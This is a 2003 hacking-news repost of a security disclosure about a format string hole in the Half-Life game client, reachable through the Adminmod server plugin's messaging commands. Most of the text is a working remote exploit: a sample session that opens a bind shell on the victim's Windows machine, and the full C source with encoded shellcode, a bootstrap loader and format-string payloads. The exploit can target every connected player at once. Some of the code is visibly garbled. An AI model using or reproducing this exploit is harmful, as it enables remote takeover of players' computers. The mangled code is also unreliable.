Users login

Create an account »

JOIN XATRIX

Users login

Home » Hacking News » Half-Life Client remote hole via Adminmod plugin

Half-Life Client remote hole via Adminmod plugin

by Nikola Strahija on January 10th, 2003 Due to a format string in the Half-Life *client*, it is possible for an attacker who has rcon access to a game- server that runs Adminmod, to exploit the machine of a player that is connected to the game server.


Half-Life is the underlying game for the most popular online
game today, "Counter-Strike", and others.

Adminmod is a popular plugin to the half-life-server.

Overview
========

Due to a format string in the Half-Life *client*, it is
possible for an attacker who has rcon access to a game-
server that runs Adminmod, to exploit the machine of
a player that is connected to the game server.

No, even better, you can exploit ALL clients that play
on the server AT ONCE!

Note, the attacker needs to know the rcon-password.
However, it is easy to sniff since it is being transmitted
in plaintext.

Affected Versions
=================

Since there is always the latest version of Half-Life
and Counter-Strike required to play online, there is no
need to check for other affected versions; the current one
is vulnerable.

On the server-side, this bug can be exploited using
any Adminmod version.

Impact
======

High.

Details
=======

This seems to be a format string bug in the Half-Life-Client,
Adminmod has little to do with it. I found it by accident as I
blackboxed the admin_ssay and admin_psay commands.

The admin_ssay command sends a textmessage to all players.
After some calls the message eventually reaches the function
ClientPrint, which is called for every user object (i.e. every
player on the server) (util.cpp):

949 /* Rope's stuff */
950 void ClientPrint( entvars_t *client, int msg_dest, const char *msg_name,
951 const char *param1, const char *param2, const char *param3,
952 const char *param4 ) {
953
954 if ( ClientCheck(client) == 0 ) return;
955
956 if ( (g_msgTextMsg = GET_USER_MSG_ID(PLID, "TextMsg", 0)) == 0 ) {
957 g_msgTextMsg = REG_USER_MSG( "TextMsg", -1 );
958 } // if
959
960
961 MESSAGE_BEGIN( MSG_ONE, g_msgTextMsg, NULL, client );
962 WRITE_BYTE( msg_dest );
963 WRITE_STRING( msg_name );
964
965 if ( param1 )
966 WRITE_STRING( param1 );
967
968 if ( param2 )
969 WRITE_STRING( param2 );
970
971 if ( param3 )
972 WRITE_STRING( param3 );
973
974 if ( param4 )
975 WRITE_STRING( param4 );
976
977 MESSAGE_END();
978
979 }

Since I am no HLSDK developer, I have no idea what that MESSAGE_BEGIN
macros do, but I suspect that the Halflife-Client simply prints out
the message that was sent by the server using a format function,
without checking for evil characters. It seems that only some kind
of custom messages trigger this problem.

However, you can force the client to execute arbitrary commands that
eventually spawn a remote shell.

Solution
========

Disable adminmod until a patched version becomes available.
Change the rcon-password.

Exploit
=======

Please find attached a demonstration exploit. Note that it will
only work against Windows 2000/XP-Clients due to the architecture
of the shellcode (the server-OS is irrelevant). Other versions
can of course be exploited using different shellcodes.

When you execute the exploit against a victim, it will look
for him as if the game crashed (it freezes).

On the attacker side, if you don't want to exploit all clients
in one shot, you have to modify a command script of adminmod,
namely the "admin_psay" command so it doesn't send the
"(Private Msg from Admin): "-string to the client (would be
a bad thing because the IP jumps directly into that buffer).
This is left as an exercise to the reader.

Sample exploitation session
===========================

[email protected]:~$ ./hoagie_adminmod_client localhost 27015 myprecious greuff
Writing shellcode fragment at offset 5056...
Writing shellcode fragment at offset 4998...
Writing shellcode fragment at offset 4940...
Writing shellcode fragment at offset 4882...
Writing shellcode fragment at offset 4824...
Writing shellcode fragment at offset 4766...
Writing shellcode fragment at offset 4708...
Writing shellcode fragment at offset 4650...
Writing shellcode fragment at offset 4592...
Writing shellcode fragment at offset 4534...
Writing shellcode fragment at offset 4476...
Writing shellcode fragment at offset 4418...
Writing shellcode fragment at offset 4360...
Writing shellcode fragment at offset 4302...
Writing shellcode fragment at offset 4244...
Writing shellcode fragment at offset 4186...
Writing shellcode fragment at offset 4128...
Writing shellcode fragment at offset 4070...
Writing shellcode fragment at offset 4012...
Writing shellcode fragment at offset 3954...
Writing shellcode fragment at offset 3896...
Writing shellcode fragment at offset 3838...
Writing bootstrap at offset 3724...
Writing return into shellcode instructions...
Shell (hopefully) spawned at client host port 8008.

[email protected]:~$ telnet 192.168.0.2 8008
Trying 192.168.0.2...
Connected to 192.168.0.2.
Escape character is '^]'.
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

E:SIERRACOUNTE~1>exit

Discovered by
=============

greuff

Credits
=======

void.at
everyone who was at 19c3

====================================================

/*****************************************************************
* hoagie_adminmod_client.c
*
* Remote exploit for Halflife-Clients playing on a server running
* the Adminmod plugin.
*
* Spawns a shell at 8008/tcp.
*
* Author: [email protected]
*
* Credits:
* void.at
* Taeho Oh for using parts of his shellcode-connection code.
* deepzone.org for their shellcode-generator
*
* THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-CONCEPT.
* THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY DAMAGE OR
* CRIMINAL ACTIVITIES DONE USING THIS PROGRAM.
*
*****************************************************************/

#include
#include
#include
#include
#include
#include
#include
#include
#include

char server_ip[20];
char rcon_pwd[30];
int server_port;
char player_nick[30];

#define STRADDR 0x19d4588

/*
-- portable NT/2k/XP ShellCode features ... www.deepzone.org

LoadLibraryA IT address 004AC2E0h
GetProcAddress IT address 004AC164h
XOR byte 9Fh
Remote port 8008
Style C

ATTENTION code modified by greuff: 0xff in the first line
changed to 0xfe because the HL-client filters out this
character.

Wrote a short bootstrap loader that changes this byte
again to 0xff. (dec %esp, dec %esp, dec %esp, dec %esp,
pop %esi, incb 0xf(%esi))

It additionally corrects the single '%' in the code that
is filtered out by the format-string-function. (offset 0x65)

Works only when the code gets executed by a ret! (buffer-
address has to lie on the stack)

*/

// total length: 1226 bytes
char *shellcode[] = {
"x90x90x90x4cx4cx4cx4cx5exfex46x15xfex46x6b"
"x68x5ex56xc3x90x54x59xfexd1x58x33xc9xb1x1c"
"x90x90x90x90x03xf1x56x5fx33xc9x66xb9x95x04"
"x90x90x90xacx34x9fxaaxe2xfax77x9fx9fx9fx9f",

"xc2x1ex72x46xbexdfx9fx12x2ax6dxbbxdfx9fx12"
"x22x65xbbxdfx9fxf5x98x0fx0fx0fx0fxc6x77x4d"
"x9dx9fx9fx12x2axb5xbaxdfx9fx12x22xacxbaxdf"
"x9fxf5x95x0fx0fx0fx0fxc6x77x24x9dx9fx9fxf5",

"x9fx12x2ax46xbaxdfx9fxc9x12x2ax7axbaxdfx9f"
"xc9x12x2ax76xbaxdfx9fxc9x60x0axacxbaxdfx9f"
"xf5x9fx12x2ax46xbaxdfx9fxc9x12x2ax72xbaxdf"
"x9fxc9x12x2ax6exbaxdfx9fxc9x60x0axacxbaxdf",

"x9fx58x1ax6axbaxdfx9fxdbx9fx9fx9fx12x2ax6a"
"xbaxdfx9fxc9x60x0axa8xbaxdfx9fx12x2axb2xb9"
"xdfx9fx32xcfx60x0axccxbaxdfx9fx12x2axaexb9"
"xdfx9fx32xcfx60x0axccxbaxdfx9fx12x2ax6exba",

"xdfx9fx12x22xb2xb9xdfx9fx3ax12x2ax7axbaxdf"
"x9fx32x12x22xaexb9xdfx9fx34x12x22xaaxb9xdf"
"x9fx34x58x1axbaxb9xdfx9fx9fx9fx9fx9fx58x1a"
"xbexb9xdfx9fx9ex9ex9fx9fx12x2axa6xb9xdfx9f",

"xc9x12x2ax6axbaxdfx9fxc9xf5x9fxf5x9fxf5x8f"
"xf5x9exf5x9fxf5x9fx12x2axd6xb9xdfx9fxc9xf5"
"x9fx60x0axa4xbaxdfx9fxf7x9fxbfx9fx9fx0fxf7"
"x9fx9dx9fx9fx60x0axdcxbaxdfx9fx16x1axcexb9",

"xdfx9fxacx5fxcfxdfxcfxdfxcfx60x0ax65xbbxdf"
"x9fxcfxc4xf5x8fx12x2ax56xbaxdfx9fxc9xccx60"
"x0ax61xbbxdfx9fxf5x9cxccx60x0ax9dxbaxdfx9f"
"x12x2axcaxb9xdfx9fxc9x12x2ax56xbaxdfx9fxc9",

"xccx60x0ax99xbaxdfx9fx12x22xc6xb9xdfx9fx34"
"xacx5fxcfx12x22xfaxb9xdfx9fxc8xcfxcfxcfx12"
"x2ax76xbaxdfx9fx32xcfx60x0axa0xbaxdfx9fxf5"
"xafx60x0axd0xbaxdfx9fx74xd2x0fx0fx0fxacx5f",

"xcfx12x22xfaxb9xdfx9fxc8xcfxcfxcfx12x2ax76"
"xbaxdfx9fx32xcfx60x0axa0xbaxdfx9fxf5xcfx60"
"x0axd0xbaxdfx9fx1cx22xfaxb9xdfx9fx9dx90x1d"
"x88x9ex9fx9fx1ex22xfaxb9xdfx9fx9exbfx9fx9f",

"xedx91x0fx0fx0fx0fx58x1axfaxb9xdfx9fx9fxbf"
"x9fx9fxf5x9fx14x1axfaxb9xdfx9fx12x22xfaxb9"
"xdfx9fxc8xcfx14x1axcexb9xdfx9fxcfx12x2ax76"
"xbaxdfx9fx32xcfx60x0axd8xbaxdfx9fxf5xcfx60",

"x0axd0xbaxdfx9fx14x1axfaxb9xdfx9fxf5x9fxcf"
"x12x2axcexb9xdfx9fx32xcfx12x2axc6xb9xdfx9f"
"x32xcfx60x0ax95xbaxdfx9fxf5x9fx12x22xfaxb9"
"xdfx9fxc8xf5x9fxf5x9fxf5x9fx12x2ax76xbaxdf",

"x9fx32xcfx60x0axa0xbaxdfx9fxf5xcfx60x0axd0"
"xbaxdfx9fxacx56xa6x12xfaxb9xdfx9fx90x18xf8"
"x60x60x60xf5x9fxf7x9fxbfx9fx9fx0fx12x2axce"
"xb9xdfx9fx32xcfx12x2axc6xb9xdfx9fx32xcfx60",

"x0ax91xbaxdfx9fx16x1axfexb9xdfx9fxf5x9fx12"
"x22xfaxb9xdfx9fxc8xcfx12x2axcexb9xdfx9fx32"
"xcfx12x2ax72xbaxdfx9fx32xcfx60x0axd4xbaxdf"
"x9fxf5xcfx60x0axd0xbaxdfx9fxf5x9fx14x1axfe",

"xb9xdfx9fx12x22xfaxb9xdfx9fxc8xcfx14x1axce"
"xb9xdfx9fxcfx12x2ax76xbaxdfx9fx32xcfx60x0a"
"xd8xbaxdfx9fxf5xcfx60x0axd0xbaxdfx9fx76x26"
"x61x60x60x12x2axc6xb9xdfx9fx32xcfx60x0ax8d",

"xbaxdfx9fx12x2axc2xb9xdfx9fx32xcfx60x0ax8d"
"xbaxdfx9fxf5x9fx60x0axc8xbaxdfx9fxcexc9xf7"
"x7fx5dxd5x9fx0fxc5x60x8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9fx9f"
"x9fx9fx9fx9fx9fx9fx9fx9fx9fx9fx9fx9fx9fx9f",

"x9fx9fx9fx9fx9fx9fx9fx9fx9fx9fx9fx9fx9fx9f"
"x9fx9fxdcxd2xdbxb1xdaxc7xdax9fx9fx9fx9fx9f"
"x8fx9fx9fx9fx9fx9fx9fx9fx9fx9fx9fx9fx9fx9f"
"x9fx9fx9fx9fx9fx9fx96x96x96x96x96x90x90x90"}; // = 22 blocks

char loader[]=
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x4cx4cx4cx4cx5ax31xc9xb1x27x42xe2"
"xfdx52x31xc0x31xc9x66xbbx38x16x88xf9x51x88"
"xd9x40x8ax3cx42x88x3ax42xe2xf8x59xe2xf1xc3";

void create_conn(int *sock, char *host, int port)
{
struct sockaddr_in sin;
sin.sin_family=AF_INET;
sin.sin_port=htons(port);
if(inet_aton(host,&(sin.sin_addr.s_addr))<0) perror("inet_aton"), exit(1);
if((*sock=socket(PF_INET,SOCK_DGRAM,0))<0) perror("socket"), exit(1);
}

void lowlevel_rcon(int sock, char *host, int port, char *cmd, char *reply)
{
char msg[100000];
struct sockaddr_in sin;
struct sockaddr_in sfrom;
fd_set fdset;
int dummy;

sin.sin_family=AF_INET;
sin.sin_port=htons(port);
if(inet_aton(host,&(sin.sin_addr.s_addr))<0) perror("inet_aton"), exit(1);

sprintf(msg,"%c%c%c%c%s",0xff,0xff,0xff,0xff,cmd);
if(sendto(sock,msg,strlen(msg),0,(struct sockaddr *)&sin,sizeof(sin))<0)
perror("sendto"), exit(1);

if(reply)
{
if(recvfrom(sock,msg,2000,0,(struct sockaddr *)&sfrom,&dummy)<0)
perror("recvfrom"), exit(1);

if(strncmp(msg,"xFFxFFxFFxFF",4))
fprintf(stderr,"protocol error: replyn"), exit(1);

strcpy(reply,msg+4);
}
}

void send_rcon(int sock, char *host, int port, char *rconpwd, char *cmd, char *reply_fun)
{
char reply[1000];
char msg[100000];

lowlevel_rcon(sock,host,port,"challenge rcon",reply);
if(!strstr(reply,"challenge rcon "))
fprintf(stderr,"protocol errorn"), exit(1);
reply[strlen(reply)-1]=0;

sprintf(msg,"rcon %s "%s" %s",reply+strlen("challenge rcon "),rconpwd,cmd);
if(reply_fun)
lowlevel_rcon(sock,host,port,msg,reply);
else
lowlevel_rcon(sock,host,port,msg,NULL);
if(reply_fun)
strcpy(reply_fun,reply);
}

int main(int argc, char **argv)
{
int sock, i,j;
int anzsc;
char reply[1000], command[100];
char evil_message[100000];
unsigned int offset, spaces;
unsigned long addr;

printf("hoagie_adminmod_client - remote exploit for half-life-clientsn");
printf("by [email protected]");
if(argc<4 || argc>5)
{
printf("Usage: %s server_ip server_port rcon_password [player_nick]nn",argv[0]);
exit(1);
}

strcpy(server_ip,argv[1]);
server_port=strtol(argv[2],NULL,10);
strcpy(rcon_pwd,argv[3]);
if(argc==5)
{
strcpy(player_nick,argv[4]);
sprintf(command,"admin_command admin_psay "%s"",player_nick);
}
else
{
player_nick[0]=0;
sprintf(command,"admin_command admin_ssay");
}

if(player_nick[0]==0)
{
printf("Sending to ALL clients! You have 3 sec to abort...n");
sleep(3);
}

create_conn(&sock,server_ip,server_port);

/********* Step 1 - send the complete shellcode and the loader to the big buffer ***********/

offset=5000+112/2;
spaces=0;
for(i=21;i>=0;i--)
{
sprintf(evil_message,"%s ",command);
for(j=0;j strcat(evil_message," ");
sprintf(reply,"%%%du%s",offset,shellcode[i]);
strcat(evil_message,reply);

printf("Writing shellcode fragment at offset %d...n",offset);
send_rcon(sock,server_ip,server_port,rcon_pwd,evil_message,reply);
offset-=strlen(shellcode[i])+2; // including x0ax00
}

/********* Step 2 - send the shellcode bootstrap loader ***********/

/* correct offset because the shell loader has the double size of a shellcode chunk */
offset-=strlen(shellcode[0]);
sprintf(evil_message,"%s ",command);
for(j=0;j strcat(evil_message," ");
sprintf(reply,"%%%du%s",offset,loader);
strcat(evil_message,reply);

printf("Writing bootstrap at offset %d...n",offset);
send_rcon(sock,server_ip,server_port,rcon_pwd,evil_message,reply);

/********* Step 3 - construct the code that returns into the shellcode ************/

addr=STRADDR+offset+73+spaces;
sprintf(evil_message,"%s AA%c%c%c%c%c%c%%.f%%.f%%.f%%.f%%.f%%.%du%%n",
command,
0x68,addr&0xFF,(addr>>8)&0xFF,(addr>>16)&0xFF,(addr>>24)&0xFF,0xc3,734 /* 0x3cd-13 */);
printf("Writing return into shellcode instructions...n");
send_rcon(sock,server_ip,server_port,rcon_pwd,evil_message,reply);

close(sock);

printf("Shell (hopefully) spawned at client host port 8008.n");
return 0;
}


Newsletter signup

Signup to our monthly newsletter and stay in touch with IT news!

Free E-books

We've got ebooks! But they're not online. :( Please give us a few days to bring downloads back.

Contact

Have something to say or just wanna drop us a line? Please keep this in mind: to spam, we reply with spam.

Contact us »